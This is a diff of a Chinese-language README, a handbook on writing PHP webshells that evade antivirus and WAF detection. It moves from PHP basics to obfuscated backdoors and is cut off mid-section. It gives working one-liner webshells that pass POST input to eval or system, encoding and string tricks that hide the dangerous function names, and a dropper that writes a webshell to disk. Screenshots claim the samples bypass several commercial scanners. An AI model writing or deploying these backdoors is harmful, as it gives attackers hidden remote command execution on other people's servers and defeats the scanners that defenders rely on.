🤬
  • ■ ■ ■ ■ ■ ■
    README.md
    1  -# WebShell-Bypass-Guide
    2  -从零学习Webshell免杀手册
     1 +# PHP从零学习到Webshell免杀手册
     2 +**手册版本号:V1.0-20230306**
     3 + 
     4 +这是一本能让你从零开始学习PHP的WebShell免杀的手册,同时我会在内部群迭代更新
     5 + 
     6 +博客地址: [https://blog.zgsec.cn/index.php/archives/197/](https://blog.zgsec.cn/index.php/archives/197/)
     7 + 
     8 +**如果师傅们觉得不错,欢迎给我点个Star哈哈~**
     9 + 
     10 +有什么新的WebShell免杀姿势、手法,欢迎与我交流
     11 + 
     12 +## 渊龙Sec安全团队-AabyssZG整理
     13 + 
     14 +1. **本资料仅供学习参考,严禁使用者进行未授权渗透测试!**
     15 +2. **部分免杀思路来自互联网,欢迎各位师傅和我交流。**
     16 +3. **本文为内部参考资料,仅作学习交流,严禁任何形式的转载。**
     17 +4. **本文档内容为完整版,由渊龙Sec安全团队成员AabyssZG编写。**
     18 + 
     19 + 
     20 +# 一、PHP相关资料
     21 + 
     22 +- PHP官方手册: [https://www.php.net/manual/zh/](https://www.php.net/manual/zh/)
     23 +- PHP函数参考: [https://www.php.net/manual/zh/funcref.php](https://www.php.net/manual/zh/funcref.php)
     24 +- 菜鸟教程: [https://www.runoob.com/php/php-tutorial.html](https://www.runoob.com/php/php-tutorial.html)
     25 +- w3school: [https://www.w3school.com.cn/php/index.asp](https://www.w3school.com.cn/php/index.asp)
     26 +- 渊龙Sec安全团队导航: [https://dh.aabyss.cn](https://dh.aabyss.cn)
     27 + 
     28 + 
     29 +# 二、PHP函数速查
     30 + 
     31 +## 0# PHP基础
     32 + 
     33 +### 0.0 PHP基础格式
     34 + 
     35 +```php
     36 +<?php
     37 + //执行的相关PHP代码
     38 +?>
     39 +```
     40 + 
     41 +这是一个PHP文件的基本形式
     42 + 
     43 +### 0.1 .=和+=赋值
     44 + 
     45 +```php
     46 +$a = 'a'; //赋值
     47 +$b = 'b'; //赋值
     48 +$c = 'c'; //赋值
     49 +$c .= $a;
     50 +$c .= $b;
     51 + 
     52 +echo $c; //cab
     53 +```
     54 + 
     55 +- `.=` 通俗的说,就是累积
     56 +- `+=` 意思是:左边的变量的值加上右边的变量的值,再赋给左边的变量
     57 + 
     58 +### 0.2 数组
     59 + 
     60 +**`array()` 函数用于创建数组**
     61 + 
     62 +```php
     63 +$shuzu = array("AabyssZG","AabyssTeam");
     64 +echo "My Name is " . $shuzu[0] . ", My Team is " . $shuzu[1] . ".";
     65 +//My Name is AabyssZG, My Team is AabyssTeam.
     66 +```
     67 + 
     68 +**数组可嵌套:**
     69 + 
     70 +```php
     71 +$r = 'b[]=AabyssZG&b[]=system';
     72 +$rce = array(); //用array函数新建数组
     73 +parse_str($r, $rce); //这个函数下文有讲
     74 +print_r($rce);
     75 +```
     76 + 
     77 +`$rce` 数组输出为:
     78 + 
     79 +```php
     80 +Array (
     81 + [b] => Array
     82 + (
     83 + [0] => AabyssZG
     84 + [1] => system
     85 + )
     86 +)
     87 +```
     88 + 
     89 +这时候可以这样利用
     90 + 
     91 +```php
     92 +$rce['b'][1](参数); //提取rce数组中的b数组内容,相当于system(参数)
     93 +echo $rce['b'][0]; //AabyssZG
     94 +```
     95 + 
     96 +**使用 `[]` 定义数组**
     97 + 
     98 +```php
     99 +$z = ['A','a','b', 'y', 's', 's'];
     100 +$z[0] = 'A';
     101 +$z[1] = 'a';
     102 +$z[2] = 'b';
     103 +$z[3] = 'y';
     104 +$z[4] = 's';
     105 +$z[5] = 's';
     106 +```
     107 + 
     108 +这就是基本的一个数组,数组名为z,数组第一个成员为0,以此类推
     109 + 
     110 +**`compact()` 函数用于创建数组创建一个包含变量名和它们的值的数组**
     111 + 
     112 +```php
     113 +$firstname = "Aabyss";
     114 +$lastname = "ZG";
     115 +$age = "21";
     116 + 
     117 +$result = compact("firstname", "lastname", "age");
     118 +print_r($result);
     119 +```
     120 + 
     121 +数组输出为:
     122 + 
     123 +```
     124 +Array ( [firstname] => Aabyss [lastname] => ZG [age] => 21 )
     125 +```
     126 + 
     127 +### 0.3 连接符
     128 + 
     129 +**`.` 最简单的连接符**
     130 + 
     131 +```php
     132 +$str1="hello";
     133 +$str2="world";
     134 +echo $str1.$str2; //helloworld
     135 +```
     136 + 
     137 +### 0.4 运算符
     138 + 
     139 +**`&` 运算符**
     140 + 
     141 +加减乘除应该不用我说了吧
     142 + 
     143 +```php
     144 +($var & 1) //如果$var是一个奇数,则返回true;如果是偶数,则返回false
     145 +```
     146 + 
     147 +**逻辑运算符**
     148 + 
     149 +特别是 `xor` 异或运算符,在一些场合需要用到
     150 + 
     151 +![xor.png](https://blog.zgsec.cn/usr/uploads/2023/03/2340198249.png)
     152 + 
     153 +### 0.5 常量
     154 + 
     155 +**自定义常量**
     156 + 
     157 +```php
     158 +define('-_-','smile'); //特殊符号开头,定义特殊常量
     159 +define('wo',3.14);
     160 +const wo = 3;
     161 +```
     162 + 
     163 +常量的命名规则
     164 + 
     165 +1. 常量不需要使用 `$` 符号,一旦使用系统就会认为是变量;
     166 +2. 常量的名字组成由字母、数字和下划线组成,不能以数字开头;
     167 +3. 常量的名字通常是以大写字母为主,以区别于变量;
     168 +4. 常量命名的规则比变量要松散,可以使用一些特殊字符,该方式只能使用 `define` 定义;
     169 + 
     170 +**`__FILE__` 常量(魔术常量)**
     171 + 
     172 +```php
     173 +__FILE__ //返回文件的完整路径和文件名
     174 + 
     175 +dirname(__FILE___) //函数返回的是代码所在脚本的路径
     176 + 
     177 +dirname(__FILE__) //返回文件所在当前目录到系统根目录的一个目录结构(不会返回当前的文件名称)
     178 +```
     179 + 
     180 +**其他魔术常量**
     181 + 
     182 +```php
     183 +__DIR__ //当前被执行的脚步所在电脑的绝对路径
     184 +__LINE__ //当前所示的行数
     185 +__NAMESPACE__ //当前所属的命名空间
     186 +__CLASS__ //当前所属的类
     187 +__METHOD__ //当前所属的方法
     188 +```
     189 + 
     190 +### 0.6 PHP特性
     191 + 
     192 +- PHP中函数名、方法名、类名不区分大小写,常量和变量区分大小写
     193 +- 在某些环境中,`<?php ?>` 没有闭合会导致无法正常运作
     194 + 
     195 + 
     196 +## 1# 回调类型函数
     197 + 
     198 +### 1.0 Tips
     199 + 
     200 +在PHP的WebSehll免杀测试过程中,使用回调函数可以发现查杀引擎对函数和函数的参数是否有对应的敏感性
     201 + 
     202 +```php
     203 +array_map('system', array('whoami')); //被查杀
     204 +array_map($_GET['a'], array('whoami')); //被查杀
     205 +array_map('var_dump', array('whoami')); //未被查杀
     206 +array_map('system', array($_GET['a'])); //被查杀
     207 +```
     208 + 
     209 +这里在列举一些回调函数,感兴趣可以自行查找:
     210 + 
     211 +```php
     212 +array_filter()
     213 +array_walk()
     214 +array_map()
     215 +array_reduce()
     216 +array_walk_recursive()
     217 +call_user_func_array()
     218 +call_user_func()
     219 +filter_var()
     220 +filter_var_array()
     221 +registregister_shutdown_function()
     222 +register_tick_function()
     223 +forward_static_call_array()
     224 +uasort()
     225 +uksort()
     226 +```
     227 + 
     228 +### 1.1 array_map()
     229 + 
     230 +**`array_map()` 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新的值的数组**
     231 + 
     232 +Demo:将函数作用到数组中的每个值上,每个值都乘以本身,并返回带有新的值的数组:
     233 + 
     234 +```php
     235 +function myfunction($v)
     236 +{
     237 +return($v*$v);
     238 +}
     239 +
     240 +$a=array(1,2,3,4,5); //array(1,4,9,16,25)
     241 +print_r(array_map("myfunction",$a));
     242 +```
     243 + 
     244 +### 1.2 register_shutdown_function()
     245 + 
     246 +**`register_shutdown_function()` 函数是来注册一个会在PHP中止时执行的函数**
     247 + 
     248 +PHP中止的情况有三种:
     249 + 
     250 +- 执行完成
     251 +- exit/die导致的中止
     252 +- 发生致命错误中止
     253 + 
     254 +Demo:后面的after并没有输出,即 `exit` 或者是 `die` 方法导致提前中止
     255 + 
     256 +```php
     257 +function test()
     258 +{
     259 + echo '这个是中止方法test的输出';
     260 +}
     261 +
     262 +register_shutdown_function('test');
     263 +
     264 +echo 'before' . PHP_EOL;
     265 +exit();
     266 +echo 'after' . PHP_EOL;
     267 +```
     268 + 
     269 +输出:
     270 + 
     271 +```php
     272 +before
     273 +这个是中止方法test的输出
     274 +```
     275 + 
     276 +### 1.3 array_walk()
     277 + 
     278 +**`array_walk()` 函数对数组中的每个元素应用用户自定义函数**
     279 + 
     280 +Demo:这个很简单,直接看就明白了
     281 + 
     282 +```php
     283 +function myfunction($value,$key,$p)
     284 +{
     285 +echo "$key $p $value<br>";
     286 +}
     287 +$a=array("a"=>"red","b"=>"green","c"=>"blue");
     288 +array_walk($a,"myfunction","has the value");
     289 +```
     290 + 
     291 +输出:
     292 + 
     293 +```php
     294 +The key a has the value red
     295 +The key b has the value green
     296 +The key c has the value blue
     297 +```
     298 + 
     299 +### 1.4 array_filter()
     300 + 
     301 +**`array_filter()` 函数用回调函数过滤数组中的元素**
     302 + 
     303 +该函数把输入数组中的每个键值传给回调函数:如果回调函数返回 true,则把输入数组中的当前键值返回给结果数组(数组键名保持不变)
     304 + 
     305 +Demo:
     306 + 
     307 +```php
     308 +function test_odd($var)
     309 +{
     310 + return($var & 1);
     311 +}
     312 +
     313 +$a1=array("a","b",2,3,4);
     314 +print_r(array_filter($a1,"test_odd"));
     315 +```
     316 + 
     317 +输出:
     318 + 
     319 +```php
     320 +Array ( [3] => 3 )
     321 +```
     322 + 
     323 + 
     324 +## 2# 字符串处理类函数
     325 + 
     326 +### 2.0 Tips
     327 + 
     328 +可以自己定义函数,组成字符串的拼接方式,比如:
     329 + 
     330 +```php
     331 +function confusion($a){
     332 + $s = ['A','a','b', 'y', 's', 's', 'T', 'e', 'a', 'm'];
     333 + $tmp = "";
     334 + while ($a>10) {
     335 + $tmp .= $s[$a%10];
     336 + $a = $a/10;
     337 + }
     338 + return $tmp.$s[$a];
     339 +}
     340 +echo confusion(976534); //sysTem(高危函数)
     341 +```
     342 + 
     343 +这时候,给 `$a` 传参为 `976534` 即可拼接得 `system`
     344 + 
     345 +同样,还有很多字符串处理类的函数,可以参考如下:
     346 + 
     347 +```php
     348 +trim() //从字符串的两端删除空白字符和其他预定义字符
     349 +ucfirst() //把字符串中的首字符转换为大写
     350 +ucwords() //把字符串中每个单词的首字符转换为大写
     351 +strtoupper() //把字符串转换为大写
     352 +strtolower() //把字符串转换为小写
     353 +strtr() //转换字符串中特定的字符
     354 +substr_replace() //把字符串的一部分替换为另一个字符串
     355 +substr() //返回字符串的一部分
     356 +strtok() //把字符串分割为更小的字符串
     357 +str_rot13() //对字符串执行 ROT13 编码
     358 +```
     359 + 
     360 +### 2.1 substr()
     361 + 
     362 +**`substr()` 函数返回字符串的一部分**
     363 + 
     364 +Demo:相当于截取字段固定长度和开头的内容
     365 + 
     366 +```php
     367 +echo substr("D://system//451232.php", -10, 6)."<br>"; //451232
     368 +echo substr("AabyssTeam", 1, 6)."<br>"; //Aabyss
     369 +```
     370 + 
     371 +### 2.2 intval()
     372 + 
     373 +**`intval()` 获取变量的整数值**
     374 + 
     375 +```php
     376 +int intval(var,base) //var指要转换成 integer 的数量值,base指转化所使用的进制
     377 +```
     378 + 
     379 + 
     380 +如果 base 是 0,通过检测 var 的格式来决定使用的进制:
     381 + 
     382 +- 如果字符串包括了 `0x` (或 `0X`) 的前缀,使用 16 进制 (hex);
     383 +- 否则,如果字符串以 `0` 开始,使用 8 进制(octal);
     384 +- 否则,将使用 10 进制 (decimal)
     385 + 
     386 +**成功时返回 var 的 integer 值,失败时返回 0。空的 array 返回 0,非空的 array 返回 1**
     387 + 
     388 +Demo:获取对应的整数值
     389 + 
     390 +```php
     391 +echo intval(042); // 34
     392 +echo intval(0x1A); // 2
     393 +echo intval(42); // 42
     394 +echo intval(4.2); // 4
     395 +```
     396 + 
     397 +### 2.3 parse_str()
     398 + 
     399 +**`parse_str()` 函数把查询字符串解析到变量中**
     400 + 
     401 +Demo:这个也很简单,看看例子就明白了
     402 + 
     403 +```php
     404 +parse_str("name=Peter&age=43");
     405 +echo $name."<br>"; //Peter
     406 +echo $age; //43
     407 + 
     408 +parse_str("name=Peter&age=43",$myArray);
     409 +print_r($myArray); //Array ( [name] => Peter [age] => 43 )
     410 +```
     411 + 
     412 + 
     413 + 
     414 +## 3# 命令执行类函数
     415 + 
     416 +### 3.0 Tips
     417 + 
     418 +命令执行类函数在”某些情况“下是非常危险的,所以往往遭到杀毒软件和WAF的重点关注,所以在做免杀的时候,为了绕过污点检测往往都要将命令执行类函数进行拼接、重组、加密、混淆来规避查杀。
     419 + 
     420 +### 3.1 eval()
     421 + 
     422 +**`eval()` 函数把字符串按照 PHP 代码来计算,即执行PHP代码**
     423 + 
     424 +Demo:将其中的内容按照PHP代码执行
     425 + 
     426 +```php
     427 +echo 'echo "我想学php"'; //echo "我想学php"
     428 +eval('echo "我想学php";'); //"我想学php"
     429 +```
     430 + 
     431 +Demo:一句话木马将参数传到 `eval()` 函数内执行
     432 + 
     433 +```php
     434 +@eval($_POST['AabyssTeam']);
     435 +```
     436 + 
     437 +### 3.2 system()
     438 + 
     439 +**`system()` 函数的主要功能是在系统权限允许的情况下,执行系统命令(Windows系统和Linux系统均可执行)**
     440 + 
     441 +Demo:执行Whoami并回显
     442 + 
     443 +```php
     444 +system('whoami');
     445 +```
     446 + 
     447 +### 3.2 exec()
     448 + 
     449 +**`exec()` 函数可以执行系统命令,但它不会直接输出结果,而是将执行的结果保存到数组中**
     450 + 
     451 +Demo:将 `exec()` 函数执行的结果导入result数组
     452 + 
     453 +```php
     454 +exec( 'ls' , $result );
     455 +print_r($result); //Array ( [0] => index.php )
     456 +```
     457 + 
     458 +### 3.3 shell_exec()
     459 + 
     460 +**`shell_exec()` 函数可以执行系统命令,但不会直接输出执行的结果,而是返回一个字符串类型的变量来存储系统命令的执行结果**
     461 + 
     462 +Demo:执行 `ls` 命令
     463 + 
     464 +```php
     465 +echo shell_exec('ls'); //index.php
     466 +```
     467 + 
     468 +### 3.4 passthru()
     469 + 
     470 +**`passthru()` 函数可以执行系统命令并将执行结果输出到页面中**
     471 + 
     472 +与 `system()` 函数不同的是,它支持二进制的数据,使用时直接在参数中传递字符串类型的系统命令即可
     473 + 
     474 +Demo:执行 `ls` 命令
     475 + 
     476 +```php
     477 +passthru('ls'); //index.php
     478 +```
     479 + 
     480 +### 3.5 popen()
     481 + 
     482 +**`popen()` 函数可以执行系统命令,但不会输出执行的结果,而是返回一个资源类型的变量用来存储系统命令的执行结果**
     483 + 
     484 +故需要配合 `fread()` 函数来读取命令的执行结果
     485 + 
     486 +Demo:执行 `ls` 命令
     487 + 
     488 +```php
     489 +$result = popen('ls', 'r'); //参数1:执行ls命令 参数2:字符串类型
     490 +echo fread($result, 100); //参数1:上面生成的资源 参数2:读取100个字节
     491 +```
     492 + 
     493 +### 3.6 反引号``
     494 + 
     495 +**反引号可以执行系统命令但不会输出结果,而是返回一个字符串类型的变量用来存储系统命令的执行结果**
     496 + 
     497 +可单独使用,也可配合其他命令执行函数使用来绕过参数中的过滤条件
     498 + 
     499 +Demo:执行 `ls` 命令
     500 + 
     501 +```php
     502 +echo `ls`; //index.php
     503 +```
     504 + 
     505 + 
     506 +## 4# 文件写入类函数
     507 + 
     508 +### 4.0 Tips
     509 + 
     510 +在Webshell的免杀过程中,一部分人另辟蹊径:通过执行一个执行内容为”写入恶意PHP“的样本来绕过查杀,执行成功后会在指定目录写入一个恶意PHP文件,最后通过连接那个恶意PHP文件获得WebShell
     511 + 
     512 +### 4.1 fwrite()
     513 + 
     514 +**`fwrite()` 函数是用于写入文件,如果成功执行,则返回写入的字节数;失败,则返回 FALSE**
     515 + 
     516 +Demo:将 `Hello World. Testing!` 写入 `test.txt`
     517 + 
     518 +```php
     519 +$file = fopen("test.txt","w");
     520 +echo fwrite($file,"Hello World. Testing!"); //21
     521 +fclose($file);
     522 +```
     523 + 
     524 +### 4.2 file_put_contents()
     525 + 
     526 +**`file_put_contents()` 函数把一个字符串写入文件中**
     527 + 
     528 +如果文件不存在,将创建一个文件
     529 + 
     530 +Demo:使用 `FILE_APPEND` 标记,可以在文件末尾追加内容
     531 + 
     532 +```php
     533 +$file = 'sites.txt';
     534 +$site = "\nGoogle";
     535 +file_put_contents($file, $site, FILE_APPEND);
     536 +```
     537 + 
     538 +同时该函数可以配合解密函数写入文件,比如:
     539 + 
     540 +```php
     541 +$datatest = "[文件的base64编码]";
     542 +file_put_contents('./要写入的文件名', base64_decode($datatest));
     543 +```
     544 + 
     545 + 
     546 +## 5# 异常处理类函数
     547 + 
     548 +### 5.0 Tips
     549 + 
     550 +在PHP的异常处理中,异常处理的相关函数引起了安全行业人员的注意,可以构造相关的异常处理,来绕过WAF的识别和检测。
     551 + 
     552 +### 5.1 Exception 类
     553 + 
     554 +`Exception` 类是php所有异常的基类,这个类包含如下方法:
     555 + 
     556 +```php
     557 +__construct //异常构造函数
     558 +getMessage //获取异常消息内容
     559 +getPrevious //返回异常链中的前一个异常,如果不存在则返回null值
     560 +getCode //获取异常代码
     561 +getFile //获取发生异常的程序文件名称
     562 +getLine //获取发生异常的代码在文件中的行号
     563 +getTrace //获取异常追踪信息,其返回值是一个数组
     564 +getTraceAsString //获取字符串类型的异常追踪信息
     565 +```
     566 + 
     567 +写个简单的例子方便理解:
     568 + 
     569 +```php
     570 +// 创建一个有异常处理的函数
     571 +function checkNum($number)
     572 +{
     573 + if($number>1)
     574 + {
     575 + throw new Exception("变量值必须小于等于 1");
     576 + }
     577 + return true;
     578 +}
     579 +// 在 try 块 触发异常
     580 +try
     581 +{
     582 + checkNum(2);
     583 + // 如果抛出异常,以下文本不会输出
     584 + echo '如果输出该内容,说明 $number 变量';
     585 +}
     586 +// 捕获异常
     587 +catch(Exception $e)
     588 +{
     589 + echo 'Message: ' .$e->getMessage() . "<br>" ;
     590 + echo "错误信息:" . $e->getMessage() . "<br>";
     591 + echo "错误码:" . $e->getCode() . "<br>";
     592 + echo "错误文件:" . $e->getFile() . "<br>";
     593 + echo "错误行数:" . $e->getLine() . "<br>";
     594 + echo "前一个异常:" . $e->getPrevious() . "<br>";
     595 + echo "异常追踪信息:";
     596 + echo "" . print_r($e->getTrace(), true) . "<br>";
     597 + echo "报错内容输出完毕";
     598 +}
     599 +```
     600 + 
     601 +运行后输出结果:
     602 + 
     603 +```php
     604 +Message: 变量值必须小于等于 1
     605 +错误信息:变量值必须小于等于 1
     606 +错误码:0
     607 +错误文件:D:\phpstudy_pro\WWW\AabyssZG\error.php
     608 +错误行数:7
     609 +前一个异常:
     610 +异常追踪信息:Array ( [0] => Array ( [file] => D:\phpstudy_pro\WWW\AabyssZG\error.php [line] => 14 [function] => checkNum [args] => Array ( [0] => 2 ) ) )
     611 +报错内容输出完毕
     612 +...
     613 +```
     614 + 
     615 + 
     616 +## 6# 数据库连接函数
     617 + 
     618 +### 6.0 Tips
     619 + 
     620 +可以尝试通过读取数据库内的内容,来获取敏感关键词或者拿到执行命令的关键语句,就可以拼接到php中执行恶意的代码了。
     621 + 
     622 +### 6.1 Sqlite数据库
     623 + 
     624 +配合我上面写的 `file_put_contents()` 文件写入函数,先写入本地Sqlite文件然后读取敏感内容
     625 + 
     626 +```php
     627 +$path = "AabyssZG.db";
     628 +$db = new PDO("sqlite:" . $path);
     629 +//连接数据库后查询敏感关键词
     630 +$sql_stmt = $db->prepare('select * from test where name="system"');
     631 +$sql_stmt->execute();
     632 +//提权敏感关键词并进行拼接
     633 +$f = substr($sql_stmt->queryString, -7, 6);
     634 +$f($_GET['aabyss']); //system($_GET['aabyss']);
     635 +```
     636 + 
     637 +### 6.2 MySQL数据库
     638 + 
     639 +这里使用 `MySQLi()` 这个函数,其实PHP有很多MySQL连接函数,可自行尝试
     640 + 
     641 +然后通过这个函数,连接公网数据库(只要目标能出网),即可连接并获得敏感字符拼接到php中
     642 + 
     643 +```php
     644 +function coon($sql) {
     645 + $mysqli = new MySQLi("localhost", "test", "test123", "test");
     646 + //默认的 MySQL的类,其属性与方法见手册
     647 + if ($mysqli - > connect_error) {
     648 + //connect_error为属性,报错
     649 + die("数据库连接失败:".$mysqli - > connect_errno. "--".$mysqli - > connect_error);
     650 + // connect_errno:错误编号
     651 + }
     652 + $mysqli - > select_db("test"); //选择数据库
     653 + // 返回值 $res 为资源类型(获取到结果的资源类型)
     654 + $res = $mysqli - > query($sql) or die($mysqli - > error);
     655 + //释放结果集,关闭连接
     656 + $mysqli - > close();
     657 +}
     658 +$sql = "select * from test where name LIKE 'system'";
     659 +$arr = coon($sql);
     660 +$res = array("data" => $arr);
     661 +echo json_encode($res);
     662 +```
     663 + 
     664 + 
     665 +## 7# PHP过滤器
     666 + 
     667 +![PHP过滤器.png](https://blog.zgsec.cn/usr/uploads/2023/03/2236941522.png)
     668 + 
     669 + 
     670 +# 三、Webshell免杀
     671 + 
     672 +## 学习后的免杀效果
     673 + 
     674 +学习本手册后,可以达到如下效果,当然这只是拿其中的一个简单的例子进行测试的,感兴趣的可以深入学习并自由组合
     675 + 
     676 +#### 牧云Webshell检测引擎:
     677 + 
     678 +![CT绕过截图.png](https://blog.zgsec.cn/usr/uploads/2023/03/1771975426.png)
     679 + 
     680 +#### 微步在线云沙箱:
     681 + 
     682 +![微步绕过.png](https://blog.zgsec.cn/usr/uploads/2023/03/3763177419.png)
     683 + 
     684 +![微步绕过检测.png](https://blog.zgsec.cn/usr/uploads/2023/03/3675903.png)
     685 + 
     686 +#### 河马WebShell在线查杀:
     687 + 
     688 +![河马绕过.png](https://blog.zgsec.cn/usr/uploads/2023/03/3656310788.png)
     689 + 
     690 +#### 百度WEBDIR+在线查杀:
     691 + 
     692 +![百度绕过.png](https://blog.zgsec.cn/usr/uploads/2023/03/725947212.png)
     693 + 
     694 +#### 大名鼎鼎的VirusTotal:
     695 + 
     696 +![VT绕过.png](https://blog.zgsec.cn/usr/uploads/2023/03/2093982005.png)
     697 + 
     698 +## 0# 免杀思路概述
     699 + 
     700 +首先,要知己知彼,才能针对性做出策略来使得WebShell成功免杀
     701 + 
     702 +### 0.1 WebShell查杀思路
     703 + 
     704 +对于WebShell的查杀思路,大致有以下几种:
     705 + 
     706 +- 分析统计内容(传统):可以结合字符黑名单和函数黑名单或者其他特征列表(例如代码片段的Hash特征表),之后通过对文件信息熵、元字符、特殊字符串频率等统计方式发现WebShell。
     707 +- 语义分析(AST):把代码转换成AST语法树,之后可以对一些函数进行调试追踪,那些混淆或者变形过的webshell基本都能被检测到。但是对于PHP这种动态特性很多的语言,检测就比较吃力,AST是无法了解语义的。
     708 +- 机器学习(AI):这种方法需要大量的样本数据,通过一些AI自动学习模型,总结归类Webshell的特征库,最终去检测Webshell。
     709 +- 动态监控(沙箱):采用RASP方式,一旦检测到有对应脚本运行,就去监控(Hook)里边一些危险函数,一但存在调用过程将会立刻阻止。这种阻止效果是实时的,这种方法应该是效果最好的,但是成本十分高昂。
     710 + 
     711 +### 0.2 WebShell整体免杀思路
     712 + 
     713 +而对于最常见也是最简单的WebShell,即一句话木马,都是以下形式存在的:
     714 + 
     715 +![WebShell基本构造.png](https://blog.zgsec.cn/usr/uploads/2023/03/1615821851.png)
     716 + 
     717 +**而我们要做的是:通过PHP语言的动态特性,灵活利用各种PHP函数和特性,混淆和变形中间两部分内容,从而达到免杀**
     718 + 
     719 +### 0.3 WebShell免杀注意点
     720 + 
     721 +#### 0.3.1 `eval()` 高危函数
     722 + 
     723 +`eval()` 不能作为函数名动态执行代码,官方说明如下:eval 是一个语言构造器而不是一个函数,不能被可变函数调用
     724 + 
     725 +> 可变函数:通过一个变量获取其对应的变量值,然后通过给该值增加一个括号 (),让系统认为该值是一个函数,从而当做函数来执行
     726 + 
     727 +人话:`eval()` 函数不能通过拼接、混淆来进行执行,只能通过明文直接写入
     728 + 
     729 +#### 0.3.2 ` assert()` 高危函数
     730 + 
     731 +在PHP7 中,` assert ()` 也不再是函数了,变成了一个语言结构(类似于 eval),不能再作为函数名动态执行代码,所以利用起来稍微复杂一点,这个感兴趣可以自行了解即可
     732 + 
     733 +所以在WebShell免杀这块,我还是更喜欢用 ` system()` 高危函数,以下很多案例都是使用 ` system()` 来最终执行的
     734 + 
     735 +### 0.4 WebShell免杀测试
     736 + 
     737 +- 渊龙Sec团队导航(上面啥都有): [https://dh.aabyss.cn/](https://dh.aabyss.cn/)
     738 +- VirusTotal: [https://www.virustotal.com/gui/home/upload](https://www.virustotal.com/gui/home/upload)
     739 +- 河马WebShell查杀: [https://n.shellpub.com/](https://n.shellpub.com/)
     740 +- 微步在线云沙箱: [https://s.threatbook.com/](https://s.threatbook.com/)
     741 +- 百度WEBDIR+: [https://scanner.baidu.com/](https://scanner.baidu.com/)
     742 +- 长亭牧云查杀: [https://stack.chaitin.com/security-challenge/webshell/index](https://stack.chaitin.com/security-challenge/webshell/index)
     743 +- 阿里伏魔引擎: [https://xz.aliyun.com/zues](https://xz.aliyun.com/zues)
     744 +- D盾: [http://www.d99net.net/](http://www.d99net.net/)
     745 +- 网站安全狗: [http://free.safedog.cn/website_safedog.html](http://free.safedog.cn/website_safedog.html)
     746 + 
     747 +## 1# 编码绕过
     748 + 
     749 +这算是早期的免杀手法,可以通过编码来绕过WAF的检测,如下:
     750 + 
     751 +### 1.1 Base64编码
     752 + 
     753 +```php
     754 +<?php
     755 +$f = base64_decode("YX____Nz__ZX__J0"); //解密后为assert高危函数
     756 +$f($_POST[aabyss]); //assert($_POST[aabyss]);
     757 +?>
     758 +```
     759 + 
     760 +### 1.2 ASCII编码
     761 + 
     762 +```php
     763 +<?php
     764 +//ASCII编码解密后为assert高危函数
     765 +$f = chr(98-1).chr(116-1).chr(116-1).chr(103-2).chr(112+2).chr(110+6);
     766 +$f($_POST['aabyss']); //assert($_POST['aabyss']);
     767 +?>
     768 +```
     769 + 
     770 +### 1.3 ROT13编码
     771 + 
     772 +```php
     773 +$f = str_rot13('flfgrz'); //解密后为system高危函数
     774 +$f($_POST['aabyss']); //system($_POST['aabyss']);
     775 +```
     776 + 
     777 +当然还有很多其他的编码和加密方式,但常见的编码方式都被放入敏感名单了,会根据加密的形式自动进行解密
     778 + 
     779 +可以考虑一些比较冷门的编码方式,或者写一个类似于凯撒密码的加密函数,来对WAF进行ByPass
     780 + 
     781 +### 1.4 Gzip压缩加密
     782 + 
     783 +我先举一个 `phpinfo()` 加密后的示例:
     784 + 
     785 +```php
     786 +/*Protected by AabyssZG*/
     787 +eval(gzinflate(base64_decode('40pNzshXKMgoyMxLy9fQtFawtwMA')));
     788 +```
     789 + 
     790 +加密手法可以看我写的博客: [https://blog.zgsec.cn/index.php/archives/147/](https://blog.zgsec.cn/index.php/archives/147/)
     791 + 
     792 +## 2# 字符串混淆处理绕过
     793 + 
     794 +### 2.1 自定义函数混淆字符串
     795 + 
     796 +通过对上面所说两部分敏感内容的拼接、混淆以及变换,来绕过WAF的检测逻辑,如下:
     797 + 
     798 +```php
     799 +function confusion($a){
     800 + $s = ['A','a','b', 'y', 's', 's', 'T', 'e', 'a', 'm'];
     801 + $tmp = "";
     802 + while ($a>10) {
     803 + $tmp .= $s[$a%10];
     804 + $a = $a/10;
     805 + }
     806 + return $tmp.$s[$a];
     807 +}
     808 +$f = confusion(976534); //sysTem(高危函数)
     809 +$f($_POST['aabyss']); //sysTem($_POST['aabyss']);
     810 +```
     811 + 
     812 +### 2.2 自定义函数+文件名混淆
     813 + 
     814 +同样,可以配合文件名玩出一些花活,我们建一个PHP名字为 `976534.php`:
     815 + 
     816 +```php
     817 +function confusion($a){
     818 + $s = ['a','t','s', 'y', 'm', 'e', '/'];
     819 + $tmp = "";
     820 + while ($a>10) {
     821 + $tmp .= $s[$a%10];
     822 + $a = $a/10;
     823 + }
     824 + return $tmp.$s[$a];
     825 +}
     826 + 
     827 +$f = confusion(intval(substr(__FILE__, -10, 6))); //sysTem(高危函数)
     828 +//__FILE__为976534.php
     829 +//substr(__FILE__, -10, 6)即从文件名中提取出976534
     830 +//confusion(intval(976534))即输出了sysTem(高危函数),拼接即可
     831 +$f($_POST['aabyss']); //sysTem($_POST['aabyss']);
     832 +```
     833 + 
     834 +首先先读取文件名,从 `976534.php` 文件名中提取出 `976534` ,然后带入函数中就成功返还 `sysTem` 高危函数了,可以配合其他姿势一起使用,达成免杀效果
     835 + 
     836 +### 2.3 特殊字符串
     837 + 
     838 +主要是通过一些特殊的字符串,来干扰到杀软的正则判断并执行恶意代码(各种回车、换行、null和空白字符等)
     839 + 
     840 +```php
     841 +$f = 'hello';
     842 +$$z = $_POST['aabyss'];
     843 +eval(``.$hello);
     844 +```
     845 + 
     846 +## 3# 生成新文件绕过
     847 + 
     848 +这是我之前写的一个免杀,其实原理也很简单,该PHP本身没法执行命令,但是运行后可以在同目录混淆写入一个WebShell,也是可以进行免杀的:
     849 + 
     850 +```php
     851 +$hahaha = strtr("abatme","me","em"); //$hahaha = abatem
     852 +$wahaha = strtr($hahaha,"ab","sy"); //$wahaha = system(高危函数)
     853 +$gogogo = strtr('echo "<?php evqrw$_yKST[AABYSS])?>" > ./out.php',"qrwxyK","al(_PO");
     854 +//$gogogo = 'echo "<?php eval(_POST[AABYSS])?>" > ./out.php'
     855 +$wahaha($gogogo); //将一句话木马内容写入同目录下的out.php中
     856 +```
     857 + 
     858 +现在看这个是不是很简单,但是这个可是VirusTotal全绿、微步沙箱和百度沙箱都过的哦~
     859 + 
     860 +没想到吧~ 其实在这个简单的基础上还可以拓展出来进行高阶免杀操作
     861 + 
     862 +## 4# 回调函数绕过
     863 + 
     864 +通过回调函数,来执行对应的命令,这里举两个例子:
     865 + 
     866 +### 4.1 call_user_func_array()
     867 + 
     868 +```php
